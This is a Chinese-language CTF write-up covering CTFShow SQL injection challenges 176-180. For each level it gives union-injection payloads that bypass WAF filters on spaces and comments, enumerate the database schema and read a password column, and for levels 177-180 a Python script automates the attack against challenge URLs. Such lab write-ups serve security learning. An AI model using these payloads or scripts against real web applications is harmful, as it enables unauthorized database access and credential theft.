CTFShow-web-vip/SQL 176-180 解题笔记(Union注入专题) web 176:基础过滤探测 题目分析 题目提示对传入参数进行了简单过滤(waf($str) 代码未展示),核心目标是突破过滤并触发SQL注入。
注入思路
先使用基础万能密码探测注入点是否存在,验证参数是否可控。
若万能密码生效,说明过滤规则较简单,可进一步推进Union注入。
关键Payload
作用:闭合原SQL语句的单引号,通过or 1=1使条件恒真,--+注释掉后续语句,实现“万能登录”或数据泄露。
web 177:/**/ 绕过空格过滤 题目分析 WAF过滤了空格,需用/**/(SQL注释符)替代空格,保证SQL语法合法。
注入步骤(手动复现) 1. 验证注入点与字段数 1 ?id= 1 '/**/union/**/select/**/1,2,3%23
说明:%23是URL编码的#,用于注释后续内容;返回结果若显示2或3,说明字段数为3且这两个位置可回显。
2. 查询数据库中的表名 1 ?id= 1 '/**/union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema="ctfshow_web"%23
结果:可查询到目标表 ctfshow_user(通常存储账号密码)。
3. 查询目标表的字段名 1 ?id= -1 '/**/union/**/select/**/1,2,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema="ctfshow_web"/**/and/**/table_name="ctfshow_user"%23
结果:可查询到关键字段 username 和 password。
4. 读取flag(flag存储在username=’flag’的记录中) 1 ?id= -1 '/**/union/**/select/**/1,2,password/**/from/**/ctfshow_web.ctfshow_user/**/where/**/username="flag"%23
结果:返回 password 字段值,即flag。
自动化脚本(Python) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 import requestsimport jsonimport sysBASE_URL = "http://1fbe9ff5-334d-4b55-b6b8-713edccccce7.challenge.ctf.show/api/?id=" PARAMS = { '验证字段数' : "1'/**/union/**/select/**/1,2,3%23" , '查询表名' : "1'/**/union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='ctfshow_web'%23" , '查询字段名' : "-1'/**/union/**/select/**/1,2,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema='ctfshow_web'/**/and/**/table_name='ctfshow_user'%23" , '读取flag' : "-1'/**/union/**/select/**/1,2,password/**/from/**/ctfshow_web.ctfshow_user/**/where/**/username='flag'%23" } def inject (sql_payload ): """发送注入请求并解析响应""" try : full_url = BASE_URL + sql_payload response = requests.get(full_url, timeout=5 ) response.raise_for_status() data = response.json() if not isinstance (data, dict ) or 'data' not in data: raise ValueError("响应格式异常,无'data'字段" ) return data except Exception as e: print (f"请求/解析错误:{str (e)} " , file=sys.stderr) return None def show_result (data, step ): """展示注入结果""" print (f"\n=== {step} 结果 ===" ) if not data or 'data' not in data: print ("无有效数据返回" ) return for idx, record in enumerate (data['data' ], 1 ): print (f"记录 {idx} :" ) for k, v in record.items(): print (f" {k} : {v} " ) def main (): print ("web177 SQL注入自动化测试(/**/绕过空格)" ) for step, payload in PARAMS.items(): result = inject(payload) show_result(result, step) if __name__ == "__main__" : main()
web 178:%09 绕过空格过滤 题目分析 WAF过滤空格,但允许%09(URL编码的Tab键)替代空格,核心思路与web177一致,仅替换空格绕过方式。
关键Payload(%09替代空格)
验证字段数:?id=1'%09union%09select%091,2,3%23
查询表名:?id=1'%09union%09select%091,2,group_concat(table_name)%09from%09information_schema.tables%09where%09table_schema='ctfshow_web'%23
查询字段名:?id=-1'%09union%09select%091,2,group_concat(column_name)%09from%09information_schema.columns%09where%09table_schema='ctfshow_web'%09and%09table_name='ctfshow_user'%23
读取flag:?id=-1'%09union%09select%091,2,password%09from%09ctfshow_web.ctfshow_user%09where%09username='flag'%23
自动化脚本(Python) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 import requestsimport jsonimport sysBASE_URL = "http://84c2fd23-10e5-432c-bd2d-546294c5987d.challenge.ctf.show/api/?id=" PARAMS_09 = { '验证字段数' : "1'%09union%09select%091,2,3%23" , '查询表名' : "1'%09union%09select%091,2,group_concat(table_name)%09from%09information_schema.tables%09where%09table_schema='ctfshow_web'%23" , '查询字段名' : "-1'%09union%09select%091,2,group_concat(column_name)%09from%09information_schema.columns%09where%09table_schema='ctfshow_web'%09and%09table_name='ctfshow_user'%23" , '读取flag' : "-1'%09union%09select%091,2,password%09from%09ctfshow_web.ctfshow_user%09where%09username='flag'%23" } def inject (sql_payload ): try : full_url = BASE_URL + sql_payload response = requests.get(full_url, timeout=5 ) response.raise_for_status() return response.json() except Exception as e: print (f"错误:{str (e)} " , file=sys.stderr) return None def show_result (data, step ): print (f"\n=== {step} ===" ) if not data or 'data' not in data: print ("无数据" ) return for idx, rec in enumerate (data['data' ], 1 ): print (f"记录 {idx} : {rec} " ) def main (): print ("web178 测试(%09绕过空格)" ) for step, payload in PARAMS_09.items(): res = inject(payload) show_result(res, step) if __name__ == "__main__" : main()
web 179:%0c 绕过空格过滤 题目分析 WAF拦截/**/和%09,需用%0c(URL编码的“换页符”,SQL中可识别为空白符)替代空格。
关键Payload(%0c替代空格)
验证字段数:?id=-1'%0cunion%0cselect%0c1,2,3%23
查询表名:?id=1'%0cunion%0cselect%0c1,2,group_concat(table_name)%0cfrom%0cinformation_schema.tables%0cwhere%0ctable_schema='ctfshow_web'%23
查询字段名:?id=-1'%0cunion%0cselect%0c1,2,group_concat(column_name)%0cfrom%0cinformation_schema.columns%0cwhere%0ctable_schema='ctfshow_web'%0cand%0ctable_name='ctfshow_user'%23
读取flag:?id=-1'%0cunion%0cselect%0c1,2,password%0cfrom%0cctfshow_web.ctfshow_user%0cwhere%0cusername='flag'%23
自动化脚本(Python) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 import requestsimport jsonimport sysBASE_URL = "http://5f44f5c4-1c94-4dd4-98a3-b6cddff07018.challenge.ctf.show/api/?id=" PARAMS_0C = { '验证字段数' : "1'%0cunion%0cselect%0c1,2,3%23" , '查询表名' : "1'%0cunion%0cselect%0c1,2,group_concat(table_name)%0cfrom%0cinformation_schema.tables%0cwhere%0ctable_schema='ctfshow_web'%23" , '查询字段名' : "-1'%0cunion%0cselect%0c1,2,group_concat(column_name)%0cfrom%0cinformation_schema.columns%0cwhere%0ctable_schema='ctfshow_web'%0cand%0ctable_name='ctfshow_user'%23" , '读取flag' : "-1'%0cunion%0cselect%0c1,2,password%0cfrom%0cctfshow_web.ctfshow_user%0cwhere%0cusername='flag'%23" } def inject (sql_payload ): try : full_url = BASE_URL + sql_payload response = requests.get(full_url, timeout=5 ) response.raise_for_status() return response.json() except Exception as e: print (f"错误:{str (e)} " , file=sys.stderr) return None def show_result (data, step ): print (f"\n=== {step} ===" ) if not data or 'data' not in data: print ("无数据" ) return for idx, rec in enumerate (data['data' ], 1 ): print (f"记录 {idx} : {rec} " ) def main (): print ("web179 测试(%0c绕过空格)" ) for step, payload in PARAMS_0C.items(): res = inject(payload) show_result(res, step) if __name__ == "__main__" : main()
web 180:–%0c 绕过注释过滤 题目分析 WAF过滤了%23(#)注释符,需用--%0c替代(--是SQL单行注释符,%0c避免注释符后需空格的语法限制)。
关键Payload(–%0c替代%23)
验证字段数:?id=-1'%0cunion%0cselect%0c1,2,3--%0c
查询表名:?id=1'%0cunion%0cselect%0c1,2,group_concat(table_name)%0cfrom%0cinformation_schema.tables%0cwhere%0ctable_schema='ctfshow_web'--%0c
查询字段名:?id=-1'%0cunion%0cselect%0c1,2,group_concat(column_name)%0cfrom%0cinformation_schema.columns%0cwhere%0ctable_schema='ctfshow_web'%0cand%0ctable_name='ctfshow_user'--%0c
读取flag:?id=-1'%0cunion%0cselect%0c1,2,password%0cfrom%0cctfshow_web.ctfshow_user%0cwhere%0cusername='flag'--%0c
自动化脚本(Python) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 import requestsimport jsonimport sysBASE_URL = "http://b3bc43c6-36cd-4543-bb69-b20084a42585.challenge.ctf.show/api/?id=" PARAMS_COMMENT = { '验证字段数' : "1'%0cunion%0cselect%0c1,2,3--%0c" , '查询表名' : "1'%0cunion%0cselect%0c1,2,group_concat(table_name)%0cfrom%0cinformation_schema.tables%0cwhere%0ctable_schema='ctfshow_web'--%0c" , '查询字段名' : "-1'%0cunion%0cselect%0c1,2,group_concat(column_name)%0cfrom%0cinformation_schema.columns%0cwhere%0ctable_schema='ctfshow_web'%0cand%0ctable_name='ctfshow_user'--%0c" , '读取flag' : "-1'%0cunion%0cselect%0c1,2,password%0cfrom%0cctfshow_web.ctfshow_user%0cwhere%0cusername='flag'--%0c" } def inject (sql_payload ): try : full_url = BASE_URL + sql_payload response = requests.get(full_url, timeout=5 ) response.raise_for_status() return response.json() except Exception as e: print (f"错误:{str (e)} " , file=sys.stderr) return None def show_result (data, step ): print (f"\n=== {step} ===" ) if not data or 'data' not in data: print ("无数据" ) return for idx, rec in enumerate (data['data' ], 1 ): print (f"记录 {idx} : {rec} " ) def main (): print ("web180 测试(--%0c绕过注释)" ) for step, payload in PARAMS_COMMENT.items(): res = inject(payload) show_result(res, step) if __name__ == "__main__" : main()
总结:176-180 核心绕过技巧
题目
过滤目标
绕过方式
核心Payload片段
176
简单字符过滤
万能密码
' or 1=1 --+
177
空格
/**/(SQL注释)
union/**/select
178
空格
%09(Tab键编码)
union%09select
179
空格
%0c(换页符编码)
union%0cselect
180
空格+#注释
%0c+--%0c
select%0c1,2,3--%0c
所有题目均围绕“Union注入”流程:验证注入点→查字段数→查表名→查字段名→读敏感数据 ,仅需根据WAF规则调整“空格”和“注释”的绕过方式即可。